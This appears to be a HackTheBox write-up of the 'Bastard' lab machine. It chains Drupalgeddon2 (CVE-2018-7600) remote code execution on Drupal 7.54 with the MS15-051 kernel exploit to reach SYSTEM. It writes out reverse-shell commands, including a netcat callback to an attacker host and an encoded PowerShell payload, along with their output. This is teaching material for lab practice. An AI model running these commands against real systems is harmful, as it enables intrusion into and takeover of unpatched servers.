Skip to content
HackIndex.io

Bastard Writeup - HackTheBox

Medium Windows
HackTheBox Discuss on Discord
Mohammad Meraj

Independent Security Researcher

Bastard is a Windows box running Drupal 7 on IIS. The chain runs: a changelog file that pins the exact Drupal version, unauthenticated remote code execution through Drupalgeddon2, and a Windows Server 2008 R2 install with zero hotfixes that falls to the MS15-051 kernel exploit for SYSTEM.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP 
Open $TARGET_IP:80
Open $TARGET_IP:135
Open $TARGET_IP:49154
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p80,135,49154 $TARGET_IP -oA nmap/nmap 
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| <snip>
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p80,135,49154 Limit the scan to the ports rustscan already found open.

Drupal 7 on IIS 7.5, with RPC on 135 and 49154 offering nothing without credentials. The interesting part is in the robots.txt listing: Drupal ships a CHANGELOG.txt in the webroot and it names the exact release.

Vulnerability Discovery

Pinning the Drupal version

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/CHANGELOG.txt 
Drupal 7.54, 2017-02-01
-----------------------
- Modules are now able to define theme engines (API addition)
<snip>

Drupal 7.54 sits below the 7.58 fix for CVE-2018-7600, better known as Drupalgeddon2. The bug is in the Form API: render array keys starting with # arrive from user input and are processed as callbacks, so a crafted parameter on an anonymous form such as the user registration form executes PHP without any authentication.

Exploitation

Drupalgeddon2

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET_IP/ whoami 
[*] Targeting: http://$TARGET_IP
[*] Got Build ID: form-Rj1d3tYsD9CI4euGExLT-BAVH3qC1BFV-VuDyySslOI
[*] Executing command: whoami

--- Command Output ---
nt authority\iusr
----------------------

Command execution as nt authority\iusr, the IIS anonymous identity. Feeding the same exploit a Base64 encoded PowerShell reverse shell makes it interactive.

Interactive shell

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET_IP/ 'powershell%20-e%20<base64-encoded-payload>'
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49211
whoami
nt authority\iusr
Explain command
rlwrap Wrap the listener so the caught shell gets line editing and history.
-lvnp $ATTACKER_PORT Listen verbosely on the callback port without resolving names.

Foothold as the web identity. The first question on an old Windows target is how far behind the patch level is.

Privilege Escalation

Patch level

PS C:\Users\Guest\Desktop> systeminfo 
Host Name:                 BASTARD
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
OS Version:                6.1.7600 N/A Build 7600
<snip>
Domain:                    HTB
Hotfix(s):                 N/A

Build 7600 is the original 2008 R2 release with no service pack, and Hotfix(s): N/A means nothing has ever been patched. That makes public kernel exploits the shortest path, and MS15-051, CVE-2015-1701, is a reliable one on this build. It abuses a win32k.sys flaw to run code in kernel context and hand SYSTEM to a chosen command.

Delivering the exploit

┌──(kali㉿kali)-[~]
└─$ wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip

Instead of finding an upload primitive on the target, an SMB server on the attacking machine serves the exploit and a netcat binary straight from the working directory.

┌──(kali㉿kali)-[~]
└─$ sudo impacket-smbserver myshare `pwd` -smb2
Explain command
myshare Share name the target will use in the UNC path.
`pwd` Serve the current directory, holding the exploit and nc64.exe.
-smb2 Speak SMB2, which Windows Server 2008 R2 requires here.

The exploit takes the command to run as its argument, so the first run just confirms the context it produces.

PS C:\Users\Guest\Desktop> \\$ATTACKER_IP\myshare\ms15-051x64.exe "whoami" 
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 1744 created.
==============================
nt authority\system

SYSTEM confirmed. Swapping the argument for a netcat callback turns it into a shell on a second listener.

PS C:\Users\Guest\Desktop> \\$ATTACKER_IP\myshare\ms15-051x64.exe "C:\Windows\System32\cmd.exe /c \\$ATTACKER_IP\myshare\nc64.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49170
Microsoft Windows [Version 6.1.7600]

C:\inetpub\drupal-7.54>whoami
nt authority\system

SYSTEM shell on the box. Both the web identity and the highest local context are covered.

Related

Port Scanning with Nmap
Blog

Port Scanning with Nmap

Discover live hosts, open ports, and running services using Nmap's scan techniques, flags, and outpu...
CMS Detection and Fingerprinting
Blog

CMS Detection and Fingerprinting

Identifies CMS platforms (WordPress, Joomla, Drupal) via HTTP responses, meta tags, file paths, and...
Drupal enumeration
Blog

Drupal enumeration

Techniques for enumerating Drupal CMS installations, including version detection, module discovery,...
Windows Privilege Escalation Vulnerability Discovery
Blog

Windows Privilege Escalation Vulnerability Discovery

Identifies misconfigurations and weaknesses in Windows environments to escalate privileges, covering...
Windows Kernel Exploit Privilege Escalation
Blog

Windows Kernel Exploit Privilege Escalation

Exploiting unpatched Windows kernel vulnerabilities to escalate local privileges, covering vulnerabl...

References